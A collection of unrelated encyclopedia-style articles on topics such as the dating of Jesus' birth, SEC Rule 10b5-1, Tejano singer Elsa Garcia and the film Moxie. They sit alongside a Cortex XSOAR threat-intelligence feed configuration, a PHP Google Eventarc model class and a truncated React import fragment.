It has also been speculated by Georges Declercq that Dionysius' desire to replace Diocletian years with a calendar based on the incarnation of Christ was intended to prevent people from believing the imminent end of the world. At the time, it was believed by some that the resurrection of the dead and end of the world would occur 500 years after the birth of Jesus. The old Anno Mundi calendar theoretically commenced with the creation of the world based on information in the Old Testament. It was believed that, based on the Anno Mundi calendar, Jesus was born in the year 5500 (5500 years after the world was created) with the year 6000 of the Anno Mundi calendar marking the end of the world. Anno Mundi 6000 (approximately AD 500) was thus equated with the end of the world but this date had already passed in the time of Dionysius. The "Historia Brittonum" attributed to Nennius written in the 9th century makes extensive use of the Anno Passionis (AP) dating system which was in common use as well as the newer AD dating system. The AP dating system took its start from 'The Year of The Passion'. It is generally accepted by experts there is a 27-year difference between AP and AD reference.
Pope Benedictus XVI states that Dionysius Exiguus committed an error.
According to Jewish sources
Yeshu in Jewish scholarly sources is speculated by researchers as a reference to Jesus as in Hebrew the word "Yeshu" is used to refer to Jesus and also there are similarities between Talmud Yeshu and Christian Jesus. However this fact is disputed, as Yeshu also can mean "may his name and memory be blotted out", probably used as a Damnatio memoriae to censor certain names. Talmud claims that Yeshu lived around the reign of Alexander Jannaeus who lived from 100 BC to 76 BC and since Sanhedrin 107b and Sotah 47a depicts Yeshu taking refuge in Egypt during 88-76 BC persecution of Pharisees, it can be assumed the Talmudic Yeshu was born before 88 BC and after 100 BC. Chagigah 2:2 also depicts Yeshu in same position however claims that Yeshu became an apostate during the refuge in Egypt.
This Talmudic Jewish claim that Yeshu was born before 88 BC and after 100 BC during life of Alexander Jannaeus of Hasmonean dynasty (conflicting with the account that he lived during era of Pontius Pilate, which is sourced from traditional Christian, Josephus and Tacitus) is also repeated in Jewish 11th century medieval tract Toledot Yeshu which implies that this belief was alive among at least a number of Jews during these times. Baring-Gould (page 71) notes that, although the Wagenseil version named the Queen as Helene, she is also expressly described as the widow of Alexander Jannaeus, who died BC 76, and whose widow was named Salome Alexandra and she died in BC 67. Yeshu in Toledot Yeshu is Jesus himself and there is no possibility that he is another person named Yeshu because the tract is formed as a response to the claims of gospels. It was widely circulated in Europe and the Middle East in the medieval period as a Jewish response to Christian account. Yemenite edition of this tract, which is named "Episode of Jesus", repeats the same claim about the date when Yeshu lived.
However, scholarly consensus generally sees the as an unreliable source for the historical Jesus.
Day and season
Despite the modern celebration of Christmas in December, neither the Gospel of Luke nor Gospel of Matthew mention a season for Jesus' birth. Scholarly arguments have been made regarding whether shepherds would have been grazing their flock during the winter, with some scholars challenging a winter birth for Jesus, and some defending the idea by citing the mildness of winters in Judea and rabbinic rules regarding sheep near Bethlehem before February.
Adam C. English, professor of religion at Campbell University, argues for the veracity of December 25 as Jesus's date of birth. English assumes that Zechariah's ministry in the Temple, as described in , took place on Yom Kippur the year before Jesus's birth; he then traces Luke's narrative through the Annunciation and the birth of John the Baptist to conclude that the Nativity occurred on December 25.
Alexander Murray of History Today argues that the celebration of Christmas as the birth day of Jesus is based on a date of a pagan feast rather than historical analysis. Saturnalia, the Roman feast for Saturn, was associated with the winter solstice. But Saturnalia was held on 17 December of the Julian calendar and later expanded with festivities only up through 23 December. The holiday was celebrated with a sacrifice at the Temple of Saturn and in the Roman Forum, as well as a public banquet, followed by private gift-giving, continual partying, and a carnival atmosphere that overturned Roman social norms. The Roman festival of Natalis Solis Invicti has also been suggested, since it was celebrated on 25 December and was associated with some prominent emperors. It is likely that such a Christian feast was chosen for Christ's marked contrast and triumph over paganism; indeed, new converts who attempted to introduce pagan elements into the Christian celebrations were sharply rebuked.
Alternatively, 25 December may have been selected owing to its proximity to the winter solstice because of its symbolic theological significance. After the solstice, the days begin to lengthen with longer hours of sunlight, which Christians see as representing the Light of Christ entering the world. This symbolism applies equally to the celebration of the Nativity of Saint John the Baptist on 24 June, near the summer solstice, based on John's remark about Jesus that "He must increase; I must decrease." ().
In the 1st and 2nd centuries, the Lord's Day (Sunday) was the earliest Christian celebration and included a number of theological themes. In the 2nd century, the Resurrection of Jesus became a separate feast (now called Easter) and in the same century Epiphany began to be celebrated in the Eastern Churches on 6 January. The festival of the Nativity which later turned into Christmas was a 4th-century feast in the Western Church notably in Rome and North Africa, although it is uncertain exactly where and when it was first celebrated.
The earliest source stating 25 December as the date of birth of Jesus is likely a book by Hippolytus of Rome, written in the early 3rd century. He based his view on the assumption that the conception of Jesus took place at the Spring equinox which Hippolytus placed on 25 March, and then added nine months to calculate the date of birth. That date was then used for the Christmas celebration. 25 March would also roughly be the date of his crucifixion, which ancient Christians would have seen as confirming the date of his birth, since many people of that era held the belief that the great prophets were conceived into the afterlife on the same date they were conceived into the world. Ignacio L. Götz suggests that Jesus could have been born "in the late spring of the year because pregnancies began in the fall after the harvests were in and there was enough money for a wedding feast." John Chrysostom argued for a 25 December date in the late 4th century, basing his argument on the assumption that the offering of incense mentioned in refers to the offering of incense by a high priest on Yom Kippur (early October), and, as above, counting fifteen months forward. However, this was very likely a retrospective justification of a choice already made rather than a genuine attempt to derive the correct birth date. John Chrysostom also writes in his homily on the Nativity of our Lord Jesus Christ (Εἰς τὸ γενέθλιον τοῦ Σωτῆρος ἡµῶν Ἰησοῦ Χριστοῦ) that the date of 25 December was well known from the beginning among Westerners.
Other sources stating 25 December as the date of Jesus are:
Evodius in an epistle reported in part by Nikephoros Kallistos Xanthopoulos in his Ecclesiastical History II, 3
Saint Jerome described a commentary by Victorinus of Pettau on papers by Alexander of Jerusalem:
We have found, among the papers of Alexander, who was Bishop in Jerusalem, what he transcribed in his own hand from apostolic documents: on the eighth day before the calends of January Our Lord Jesus Christ was born, during the consulate of Sulpicius and Camerinus
Theophilus, bishop of Caesarea, as reported in Historia Ecclesiae Christi (or Centuriae Magdeburgenses, cent. II. chapter VI
Lastly, 25 December might be a reference to the date of the Feast of Dedication, which occurs on 25 Kislev of the Jewish calendar. This would require that early Christians simply translated Kislev directly to December.
Research done by members of the Church of Jesus Christ of Latter-day Saints generally places the birth of Jesus at some point in early to mid April. This research is motivated by a revelation from LDS founder Joseph Smith, which can be read to suggest that 6 April is the birth date of Jesus. September or late March have been suggested by theologian, biblical scholar and author Ian Paul.
Islamic view
In the hadith compilation Tuhaf al-Uqul, the sixth imam, Jafar As Sadiq says the following when approached about the birth of Christ during Christmas: "They have lied. Rather, it was in the middle of June. The day and night become even [equal] in the middle of March". This statement of his does not literally mean it was on 15 June but it is in reference to a day near the Spring Equinox.
See also
Adoration of the shepherds
Anno Domini
Ante Christum Natum
Baptism of Jesus
Christ myth theory
Chronology of Jesus
Common Era
Detailed Christian timeline
Dionysius Exiguus
Gospel harmony
Historical Jesus
Historicity of Jesus
Jesus in Christianity
Life of Jesus in the New Testament
Timeline of the Bible
Venerable Bede
Talmud's claim that Jesus was born before 88 BCE
References
Notes
Citations
Sources
Corrected reprinting of original 1999 edition.
repr. in
Further reading
External links
Catholic Encyclopedia (1910): Chronology of the Life of Jesus Christ
Chronology
Birth of Jesus
Historiography of Jesus
1st-century BC Christianity
Nativity of Jesus |
The London Municipal Society was formed in 1894 to support the pro-Unionist Moderate candidates in London local elections. It was a Liberal Unionist society, and was wound up in 1963, following the legislation that would create the Greater London Council.
The stated policy of the society at the 1897 vestry elections was "conferring on the local authorities of the metropolis municipal dignity and privileges". In July the society urged the Government to introduce legislation to create municipalities in London.
In 1895 the society was based at 16 Great Goodge Street, in 1910 it was at 11 Tothill Street, and by 1915 it was at 2 Bridge Street.
In 1921 the then secretary of the society, W. G. Fowler, made comments on the Poplar Rates Rebellion, and wrote a letter to The Times on the subject.
References
Bibliography
Ken Young, Local Politics and the Rise of Party: The London Municipal Society and the Conservative Intervention in Local Elections, 1894-1963. Leicester University Press, 1975.
Ken Young, Metropolitan London: politics and urban change, 1837-1981. Edward Arnold, 1982. ).
There are several files at The National Archives, one (from 1920 to 1921) relating to a deputation 'about the appalling increase in rates.'
Defunct political parties in England
Politics of London
Unionism in the United Kingdom
Political parties established in 1894
Political parties disestablished in 1963 |
Van Roxas (born Van Louelle Pojas on November 8, 1989) is a Filipino actor, television personality, and former reality show contestant. He placed as the 5th Star Dreamer of Pinoy Dream Academy Season 2. He did a show with the Drama Princess of ABS-CBN's Kim Chiu entitles Maling Akala.
Personal life
Van Louelle Pojas better known as Van Roxas is from Talisay, Cebu. He is a Physical Therapy student and band vocalist from Cebu.
His parents have separated, his mother is in the States while his father has his own life away from Van.
He was a support act of the Irish pop band Westlife for their 2011 Gravity Tour.
Television
Information
Van Roxas and Jay-r Siaboc are from Talisay City, Cebu. Both are band vocalist.
His first acting role was Karl Alda, Kim Chiu's love interest in Maling Akala.
References
Wikipedia, Pinoy Dream Academy -Pinoy Dream Academy (season 2)
ABS-CBN-"Coming from a well-off family, good-looking, and talented, Van is expected to be contended with his life.",
SunStar, "Serna: Van Roxas: one more crack at show biz",
Living people
Pinoy Dream Academy participants
Star Magic
People from Talisay, Cebu
Male actors from Cebu
1989 births |
SEC Rule 10b5-1, codified at , is a regulation enacted by the United States Securities and Exchange Commission (SEC) in 2000. The SEC states that Rule 10b5-1 was enacted in order to resolve an unsettled issue over the definition of insider trading, which is prohibited by SEC Rule 10b-5.
Different courts of appeals had come to different conclusions about what constituted insider trading under Rule 10b-5 — specifically, whether someone could be held liable for insider trading simply by trading while in possession of inside information, or whether a trier of fact must find that the person actually used that inside information when making the trade.
"Possession" versus "use"
Paragraph (a) of the Rule essentially repeats the holding of the United States Supreme Court in United States v. O'Hagan, , which defines insider trading under the misappropriation theory. It states, in full, that
Paragraph (b) addresses the unsettled "possession" versus "use" issue, stating that a person violates Rule 10b-5 simply by trading while in "possession" of inside information. It states, in full, that
In other words, under 10b5-1(b) a person could be liable for insider trading simply by possessing inside information regarding a given security, breaching a fiduciary duty to the source of the information, and then trading it with a self-serving intent, even if the trade would have been made anyway. See ''United States v. O'Hagan, 521 U.S. 642, 652 (1997). But it is unlikely the SEC will detect or particularly care about a small trade that would have occurred anyway. A large trade or series of trades that reap unusual benefits for a trader, however, will likely be detected, and it would be difficult to prove that the material non-public information did not contribute to the decision to make the trade.
Affirmative legal defense for planned trades
In paragraph (c), however, the SEC created an affirmative defense to any charge of insider trading, "designed to cover situations in which a person can demonstrate that the material nonpublic information was not a factor in the trading decision." The provision allows an affirmative defense to insider trading when the trade was made pursuant to a contract, instructions given to another, or a written plan that "[d]id not permit the person to exercise any subsequent influence over how, when, or whether to effect purchases or sales" (10b5-1(c)(1)(i)(B)(3)), and where the plan (or contract or instructions) was created before the person had inside information.
For example, a CEO of a company could call a broker on January 1 and enter into a plan to sell a particular quantity of shares of his company's stock on March 1, find out terrible news about his company on February 1 that will not become public until April 1, and then go forward with the March 1 sale anyway, saving himself from losing money when the bad news becomes public. Under the terms of Rule 10b5-1(b) this is insider trading because the CEO "was aware" of the inside information when he made the trade. But he can assert an affirmative defense under Rule 10b5-1(c), because he planned the trade before he learned the inside information.
First-ever indictment for insider trading based on use of a Rule 10b5-1 plan
In March 2023, in the first-ever indictment for insider trading based on an executive's use of a Rule 10b5-1 plan, the Department of Justice charged Terren Peizer with one count of engaging in a securities fraud scheme and two counts of securities fraud for insider trading. The SEC, alleged that Peizer sold $20 million of Ontrak Inc. stock while he was in possession of material nonpublic negative information related to the company’s largest customer. Peizer was the CEO and chairman of Ontrak. Ontrak shares, which had traded at $85.21 in February 2021, were trading at under $1.00 since July 2022. In addition, the U.S. Department of Justice announced criminal charges of securities fraud against Peizer, charging that thereby he had avoided $12 million in losses, and he was arrested. The case is assigned to the U.S. District Court for the Central District of California before U.S. District Judge Dale S. Fischer. If convicted, Peizer could face up to 65 years in prison.
A possible loophole: canceling plans
After Rule 10b5-1 was enacted, the SEC staff publicly took the position that canceling a planned trade made under the safe harbor does not constitute insider trading, even if the person was aware of the inside information when canceling the trade. The SEC stated that, despite the fact that 10b5-1(c) requires trades to be irrevocable, there can be no liability for insider trading under Rule 10b-5 without an actual securities transaction, based on the U.S. Supreme Court's holding in Blue Chip Stamps v. Manor Drug Stores, 421 U.S. 723 (1975).
This staff interpretation raises the possibility that executives can exploit this safe harbor by entering into 10b5-1 trading plans before they have inside information while retaining the option to later cancel those plans based on inside information. Although paragraph (c)(1)(i)(C) does deny the affirmative defense to offsetting or hedged transactions, in that case there would still be an actual trade (whichever of the offsetting trades was not canceled) that could constitute insider trading and violate Rule 10b-5. The SEC's position is that there can be no insider trading without a trade, so that a person could cancel a planned trade based on inside information and avoid liability. Although technically any plan that is cancelable does not come under the 10b5-1 safe harbor, proving that an executed trade was hypothetically cancelable might be very difficult.
A few academic commentators have written about this issue, arguing that insiders can make systematically above-market profits by using 10b5-1 plans that they are still able to cancel. One empirical study has found that insiders using 10b5-1 plans do in fact make above-market profits (the paper also alludes to other potential loopholes that might explain this result), and another has found that the presence of publicly announced 10b5-1 plans has economic effects on securities markets that are generally associated with insider trading. Others contend that rather than timing trades, executives may time news or press releases to move the stock before a 10b5-1 plan sale.
SEC reaction
Noted in a speech by Linda Chatman Thomsen, then the SEC chief enforcement officer, the SEC was investigating why 10b5-1 trades appear to outperform the market. Allegations of improper 10b5-1 trades were noted during the insider trading trial of Joseph Nacchio, former Qwest CEO. There are also preliminary investigations into 10b5-1 trades by Angelo Mozilo from Countrywide Financial. The SEC sent a Wells Notice to Mozilo in May 2009, suggesting intent to pursue civil charges in relation to alleged illegal trades through his 10b5-1 plan.
On March 25, 2009, the SEC staff revised its interpretative guidance regarding the circumstances under which the affirmative defense in Rule 10b5-1(c) is available. In particular, the staff followed the approach previously urged by some commentators to clarify (1) that the cancellation of a 10b5-1 plan could call the good faith of other, executed plans into doubt and (2) that the Supreme Court's decision in Blue Chip Stamps v. Manor Drug Stores, 421 U.S. 723 (1975), did not affect the SEC's ability to bring an enforcement action against a would-be insider trader who canceled a trading plan and did not trade in a particular transaction because a subsequent decision, Merrill Lynch, Pierce, Fenner & Smith, Inc., v. Dabit, 547 U.S. 71 (2006), made clear that Blue Chip Stamps dealt only with the implied private right of action for violations of Rule 10b-5 and not the "in connection with" requirement for all Rule 10b-5 violations.
Beginning April 1, the SEC will require a minimum 90-day cooling-off period for most executive trading plans.
References
Rule 10b5-1
Rule 10b5-1 |
Elsa Garcia is a Mexican American Tejano singer and producer from Houston, Texas, United States. She has had four albums certified gold, and was nominated for a Grammy Award in 1991 for her album, Simplemente.
Early life
Elsa Garcia was born in Monterrey, Mexico. The daughter of Mexican singer Hermelinda “Linda La Norteña” Escamilla, she was introduced to music at an early age. Her family moved to Houston, Texas, when she was two years old.
Career
Garcia started as a replacement vocalist for her husband's band after their lead singer was experiencing throat problems and could not perform. Her first album Simplemente was a commercial success earning Garcia a Grammy nomination. Her second album Ni Mas, Ni Menos was her first album to be certified gold thanks to the hit song "Ya Te Vi", which later became her signature song. On May 29, 1995 she participated in the Selena tribute at the Houston Astrodome. In 1995, the then mayor of Houston declared that October 24 would be Elsa Garcia day. In 2011, Garcia was inducted into the Tejano roots Hall of Fame. In 2012, she was awarded the "Lifetime Achievement Award" at the Tejano Music Awards. Garcia has been retired from music since 1999. She is one of a few Tejano artists to get radio airplay in Mexico during the 1990s.
Discography
Simplemente 1990
Ni Mas, Ni Menos 1991
Pasion 1992
10 Grandes Exitos 1992
Escapate Conmigo 1993
12 Super Exitos 1994
Diez 1995
Tu Solamente Tu 1995
Live Vol. 1 1996
Como Tu Y Yo 1996
Elsa 1998
Tejano All Stars 2002
Original Masters 2003
15 De Coleccion 2003
Face off: Elsa Garcia & Laura Canales 2008
References
Living people
20th-century American women singers
Tejano pop musicians
21st-century American women singers
20th-century American singers
21st-century American singers
Singers from Monterrey
Singers from Houston
Mexican emigrants to the United States
Women in Latin music
Year of birth missing (living people) |
Robat (, also Romanized as Robāţ; also known as Aḩmadābād) is a village in Harirud Rural District, Bujgan District, Torbat-e Jam County, Razavi Khorasan Province, Iran. At the 2006 census, its population was 585, in 124 families.
References
Populated places in Torbat-e Jam County |
Edward Klimkowski is a retired American professional basketball coach and player.
Career
A 6’2’’ forward, Klimkowski played basketball at Power Memorial Academy (class of 1967) as a teammate of Lew Alcindor. Collegiately Klimkowski played for the St. Bonaventure University men's basketball team before transferring to C.W. Post. He was a member of the C.W. Post men's basketball team from 1970 to 1972.
In 1972, Klimkowski kicked off his career in professional basketball as a player-coach at Solna IF of Sweden. Under his guidance, Solna won the 1973 Swedish national championship and subsequently played in the FIBA European Champions' Cup during the 1973–74 season. In the first round of the European competition, his Solna team defeated English Epping Avenue BC Leyton, Klimkowski scored 30 points each in the home- and the away-game. His team was defeated by KK Radnički Belgrade in the following round. In the Swedish league, he guided Solna IF to runner-up spots in 1973 and 1974. In 1974, he retired as a player, focussing on his coaching duties. He parted ways with Solna IF in 1977.
From 1977 to 1980, Klimkowski served as head coach of Fribourg Olympic, winning the Swiss national championship in 1978 and 1979 as well as the national cup competition in 1978. In the 1980–81 season, he was head coach of Ferrarelle Rieti in Italy's top-tier Serie A and the Korać Cup. Klimkowski left Rieti in 1981, returning to the US.
References
Living people
American expatriate basketball people in Italy
American expatriate basketball people in Sweden
American expatriate basketball people in Switzerland
American men's basketball coaches
American men's basketball players
LIU Post Pioneers men's basketball players
Player-coaches
St. Bonaventure Bonnies men's basketball players
Year of birth missing (living people) |
```yaml
category: Data Enrichment & Threat Intelligence
commonfields:
id: Group-IB Threat Intelligence & Attribution Feed
version: -1
configuration:
- additionalinfo: The FQDN/IP the integration should connect to.
defaultvalue: path_to_url
display: GIB TI URL
name: url
required: true
type: 0
- additionalinfo: The API Key and Username required to authenticate to the service.
display: Username
name: credentials
required: true
type: 9
- additionalinfo: Whether to allow connections without verifying SSL certificates validity.
display: Trust any certificate (not secure)
name: insecure
type: 8
required: false
- additionalinfo: Whether to use XSOAR system proxy settings to connect to the API.
display: Use system proxy settings
name: proxy
type: 8
required: false
- additionalinfo: Incremental feeds pull only new or modified indicators that have been sent from the integration. The determination if the indicator is new or modified happens on the 3rd-party vendor's side, so only indicators that are new or modified are sent to Cortex XSOAR. Therefore, all indicators coming from these feeds are labeled new or modified.
defaultvalue: 'true'
display: Incremental feed
hidden: true
name: feedIncremental
type: 8
required: false
- defaultvalue: 'true'
display: Fetch indicators
name: feed
type: 8
required: false
- additionalinfo: Indicators from this integration instance will be marked with this reputation
defaultvalue: Suspicious
display: Indicator Reputation
name: feedReputation
options:
- None
- Good
- Suspicious
- Bad
type: 18
required: false
- additionalinfo: Reliability of the source providing the intelligence data
defaultvalue: A - Completely reliable
display: Source Reliability
name: feedReliability
options:
- A - Completely reliable
- B - Usually reliable
- C - Fairly reliable
- D - Not usually reliable
- E - Unreliable
- F - Reliability cannot be judged
required: true
type: 15
- defaultvalue: '1'
display: Feed Fetch Interval
name: feedFetchInterval
type: 19
required: false
- additionalinfo: When selected, the exclusion list is ignored for indicators from this feed. This means that if an indicator from this feed is on the exclusion list, the indicator might still be added to the system.
display: Bypass exclusion list
name: feedBypassExclusionList
type: 8
required: false
- additionalinfo: Collections List to include for fetching.
display: Indicator collections
name: indicator_collections
options:
- compromised/mule
- compromised/imei
- attacks/ddos
- attacks/deface
- attacks/phishing
- attacks/phishing_kit
- hi/threat
- apt/threat
- osi/vulnerability
- suspicious_ip/tor_node
- suspicious_ip/open_proxy
- suspicious_ip/socks_proxy
- malware/cnc
- ioc/common
type: 16
required: false
hidden: false
- additionalinfo: Date to start fetching indicators from.
defaultvalue: 3 days
display: Indicator first fetch
name: indicators_first_fetch
type: 0
required: false
hidden: false
- additionalinfo: A number of requests per collection that integration sends in one fetch iteration (each request picks up to 200 objects with different amount of indicators). If you face some runtime errors, lower the value.
defaultvalue: '2'
display: Number of requests per collection
name: requests_count
options:
- '1'
- '2'
- '3'
- '4'
- '5'
type: 15
required: false
hidden: false
- additionalinfo: Supports CSV values.
display: Tags
name: feedTags
type: 0
required: false
- additionalinfo: The Traffic Light Protocol (TLP) designation to apply to indicators fetched from the feed
display: Traffic Light Protocol Color
name: tlp_color
options:
- RED
- AMBER
- GREEN
- WHITE
type: 15
required: false
- display: ''
name: feedExpirationPolicy
type: 17
options:
- never
- interval
- indicatorType
- suddenDeath
- display: ''
name: feedExpirationInterval
type: 1
required: false
description: Use Group-IB Threat Intelligence Feed integration to fetch IOCs from various Group-IB collections.
display: Group-IB Threat Intelligence Feed
name: Group-IB Threat Intelligence & Attribution Feed
script:
commands:
- arguments:
- auto: PREDEFINED
description: GIB Collection to get indicators from.
name: collection
predefined:
- compromised/mule
- compromised/imei
- attacks/ddos
- attacks/deface
- attacks/phishing
- attacks/phishing_kit
- hi/threat
- apt/threat
- osi/vulnerability
- suspicious_ip/tor_node
- suspicious_ip/open_proxy
- suspicious_ip/socks_proxy
- malware/cnc
- ioc/common
required: true
default: false
isArray: false
secret: false
- description: Incident Id to get indicators(if set, all the indicators will be provided from particular incident).
name: id
default: false
isArray: false
required: false
secret: false
- auto: PREDEFINED
default: true
defaultValue: '50'
description: Limit of indicators to display in War Room.
name: limit
predefined:
- '10'
- '20'
- '30'
- '40'
- '50'
isArray: false
required: false
secret: false
description: Get limited count of indicators for specified collection and get all indicators from particular events by id.
name: gibtia-get-indicators
deprecated: false
execution: false
dockerimage: demisto/python3:3.10.13.80593
feed: true
runonce: false
script: '-'
subtype: python3
type: python
isfetch: false
longRunning: false
longRunningPort: false
tests:
- No tests (auto formatted)
fromversion: 6.0.0
``` |
Dover Township may refer to places in the U.S. state of Michigan:
Dover Township, Lake County, Michigan
Dover Township, Lenawee County, Michigan
Dover Township, Otsego County, Michigan
See also
Dover, Michigan (disambiguation)
Dover Township (disambiguation)
Michigan township disambiguation pages |
USCS Benjamin Peirce was a schooner that served as a survey ship in the United States Coast Survey from 1855 to 1868.
The Coast Survey acquired Benjamin Peirce in 1855 and placed her in service along the United States East Coast, where she spent her entire Coast Survey career. She was named for the preeminent American mathematician of the nineteenth century, Benjamin Peirce, who was a friend of the Superintendent of the Coast Survey, Alexander Dallas Bache, and succeeded Bache as Superintendent in 1867.
On the evening of 5 January 1856, Benjamin Peirce was anchored in the St. Johns River off Jacksonville, Florida, when the steamer SS Seminole caught fire at a pier upstream shortly before midnight. Burning from stem to stern, Seminole was cut loose from her moorings so that the flames would not spread to buildings ashore and began to drift down onto Benjamin Peirce. By the time the senior officer aboard Benjamin Peirce, Sailing Master P. R. Hawley, could get her crew on deck, Seminole was only 50 yards (46 meters) away. Leaving half of Benjamin Peirces men aboard with buckets and axes to prevent flames from spreading to her if Seminole drifted onto her, Hawley took the rest of the men out in a boat to attempt to tow Seminole away from Benjamin Peirce. The boat managed to pull Seminole far enough for her only to strike a glancing blow against Benjamin Peirce, although Seminole passed the survey schooner so closely that the intense heat of the fire destroyed Benjamin Peirces foresail, mainsail, main gaff-top-sail, starboard main shrouds and main topmast back-stay and some of her running rigging. The flames also charred most of Benjamin Peirces spars, both of her masts, her starboard bulwarks, her galley, her cabin quarter-house, and her deck, damaged a new boat lying on her deck, and broke the glass in the skylight of her cabin quarter-house. Her main boom fell when the topping lift which supported it was destroyed, and it crushed her taffrail when it fell. Despite this damage, Hawleys quick action had prevented Seminole from becoming entangled with Benjamin Peirce, which probably would have resulted in the destruction of Benjamin Peirce.
With the flames that spread to Benjamin Peirce put out by her crew, Hawley saw that Seminole next would threaten the brig Iza anchored downstream from Benjamin Peirce with a full cargo. Hawley continued to tow Seminole so that she would clear Iza, then went aboard Iza and was given command by the Izas captain. Hawley and other men from Benjamin Pierce were instrumental in saving Iza and her cargo from burning.
The Coast Survey decommissioned Benjamin Peirce in 1868.
References
Ships of the United States Coast Survey
Schooners of the United States
Maritime incidents in January 1856
1855 ships |
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\Eventarc;
class AuditConfig extends \Google\Collection
{
protected $collection_key = 'auditLogConfigs';
protected $auditLogConfigsType = AuditLogConfig::class;
protected $auditLogConfigsDataType = 'array';
/**
* @var string
*/
public $service;
/**
* @param AuditLogConfig[]
*/
public function setAuditLogConfigs($auditLogConfigs)
{
$this->auditLogConfigs = $auditLogConfigs;
}
/**
* @return AuditLogConfig[]
*/
public function getAuditLogConfigs()
{
return $this->auditLogConfigs;
}
/**
* @param string
*/
public function setService($service)
{
$this->service = $service;
}
/**
* @return string
*/
public function getService()
{
return $this->service;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(AuditConfig::class, 'Google_Service_Eventarc_AuditConfig');
``` |
Bradley J. Fritts (born January 8, 2000) is an American politician. He is a Republican member of the Illinois House of Representatives for the 74th district, encompassing all or parts of DeKalb, LaSalle, Lee, Ogle, and Whiteside counties in north-central Illinois. He is currently the youngest youngest member of the Illinois House of Representatives and its first member born after the year 2000.
Early life and education
Fritts has a Bachelor's degree in agricultural and consumer economics from the University of Illinois at Urbana-Champaign.
Career
He is a farmer and substitute teacher by profession. A Republican precinct committeeman, Fritts comes from a politically active family; his father Edward Fritts is the township supervisor for Dixon Township and his late uncle John Fritts was the Lee County Treasurer.
Electoral history
2022
In the 2022 Republican primary, Fritts defeated Liandro Arellano, the incumbent Mayor of Dixon, and ran unopposed in the general election.
References
Living people
Place of birth missing (living people)
People from Dixon, Illinois
21st-century American politicians
Illinois Republicans
University of Illinois College of Agriculture, Consumer, and Environmental Sciences alumni
Farmers from Illinois
2002 births |
Moxie, stylized as MOXiE! is a 2021 American comedy-drama film directed by Amy Poehler. Tamara Chestna and Dylan Meyer adapted the screenplay from the 2017 novel of the same name by Jennifer Mathieu. It stars Hadley Robinson, Alycia Pascual-Peña, Lauren Tsai, Patrick Schwarzenegger, Nico Hiraga, and Poehler. The film focuses on 16-year-old Vivian (played by Hadley Robinson), who starts a feminist zine to empower the young women in her high school, as they contend with bullying, sexual harassment, and rape. The film was released on March 3, 2021, by Netflix and received mixed reviews from critics.
Plot
Vivian is 16, lives with her mother Lisa, and attends Rockport High School. One day she joins her best friend Claudia at a class taught by Mr. Davies. Vivian notices classmate Seth, has gotten more attractive over the summer. He used to be called Seth "The Shrimp". Mr. Davies introduces new student Lucy, then begins a discussion of The Great Gatsby, a novel about a mysterious millionaire. She criticizes it as another tale of a rich white guy expressing sorrow over not having the woman he wants. The star jock Mitchell interrupts Lucy's opinion and defends the Jay Gatsby character.
Later, Vivian sees Mitchell taking the soda Lucy was trying to buy and spitting in it. When Lucy reports Mitchell to Principal Shelly, she doesn't want to penalize Mitchell and tries to avoid getting involved.
At home, Vivian goes through Lisa's stuff and finds her old feminist zines and gets inspired. Next day at school, the students discover a list labeling young women made by a group of jocks shared to everyone's phone. Many girls are embarrassed by it, in which the jocks express many sexist and perverse opinions, which makes them self-conscious. When Mitchell calls Lucy a foul word, Vivian becomes inspired by her feminist mother and starts "Moxie", a zine aimed at calling out the unfair treatment of girls at the school, and empowering them to raise their concerns.
Vivian befriends Lucy, as well as a group of other girls who have been put down, but her best friend Claudia is reluctant to get behind the movement and it causes a rift between them. Vivian also begins a relationship with Seth, who knows she started "Moxie" and supports her.
After Mitchell wins an athletic scholarship over the girls' favorite candidate, Kiera, Vivian walks home feeling depressed, drinking a bottle of champagne along the way. She comes home to find Lisa with her boyfriend John, and is annoyed that her mother kept the relationship a secret from her. Vivian then throws up.
Later, the "Moxie" girls respond to Mitchell winning the award by putting crude stickers all over the school. Principal Shelly, who was called out by "Moxie" for not supporting the girls, attempts to shut down the group. Claudia, who eventually joins the group, takes the fall for the stickers.
Vivian then hits a low point when Claudia criticizes her for not coming forward (she knew Vivian started "Moxie"), while also having a rough patch with Seth. She also faces challenges with her mother after she yells at Lisa and John during dinner.
Vivian finds a note from an anonymous girl who says she was raped the previous year. Vivian gets "Moxie" supporters to stage a walkout in support of the girl. The majority of students participate, and Vivian reveals that she started "Moxie".
Head cheerleader Emma comes forward as the rape survivor, stating that Mitchell, her ex-boyfriend, was her rapist. It happened the previous year when they were dating, and they called her "Most Bangable", which left her mortified. All the students are horrified and lend their support. Principal Shelly overhears and plans to punish Mitchell at last.
Vivian reconciles with her mom, Claudia, and Seth, and "Moxie" gains more followers. Lisa expresses pride in her daughter and the girls throw a party in celebration of "Moxie".
Cast
Production
In February 2019, it was announced Amy Poehler would direct the film, from a screenplay by Tamara Chestna, and serve as a producer under her Paper Kite Productions banner, with Netflix distributing. In October 2019, Hadley Robinson, Lauren Tsai, Patrick Schwarzenegger, and Ike Barinholtz joined the cast of the film. In November 2019, Josephine Langford, Marcia Gay Harden, and Clark Gregg joined the cast of the film.
Filming
Principal photography began in October 2019 in Arcadia, California.
Release
The film was released on March 3, 2021, on Netflix.
Reception
On review aggregator Rotten Tomatoes, the film has an approval rating of 70% based on 114 reviews, with an average rating of 6.5/10. The website's critics consensus reads, "Moxie comes up a little short on its titular ingredient when it comes to fully addressing its story's timely themes, but this sweet coming-of-age story is still easy to like." On Metacritic, it has a weighted average score of 54 out of 100 based on 25 critics, indicating "mixed or average reviews".
Rasha Jameel, writing in The Daily Star, accused the film of tokenism. Criticizing its "careless" insertion of the "white savior" trope, Jameel wrote, "the film adds characters of colour and a white character with disability, but instead of allowing these characters to speak or act on their behalf, the narrative is told primarily through the all-too-common perspective of a privileged white American."
References
External links
2021 films
2021 comedy-drama films
2020s feminist films
American comedy-drama films
American high school films
Films based on American novels
English-language Netflix original films
Films shot in Los Angeles
American female buddy films
2020s female buddy films
2020s English-language films
2020s American films |
```xml
import { WebApplication } from '@/Application/WebApplication'
import { Action, SNNote } from '@standardnotes/snjs'
import { useCallback, useEffect, useState } from 'react'
import Icon from '@/Components/Icon/Icon'
import { ListedMenuGroup } from './ListedMenuGroup'
import ListedMenuItem from './ListedMenuItem'
import Spinner from '@/Components/Spinner/Spinner'
import MenuSection from '@/Components/Menu/MenuSection'
type ListedActionsMenuProps = {
application: WebApplication
note: SNNote
}
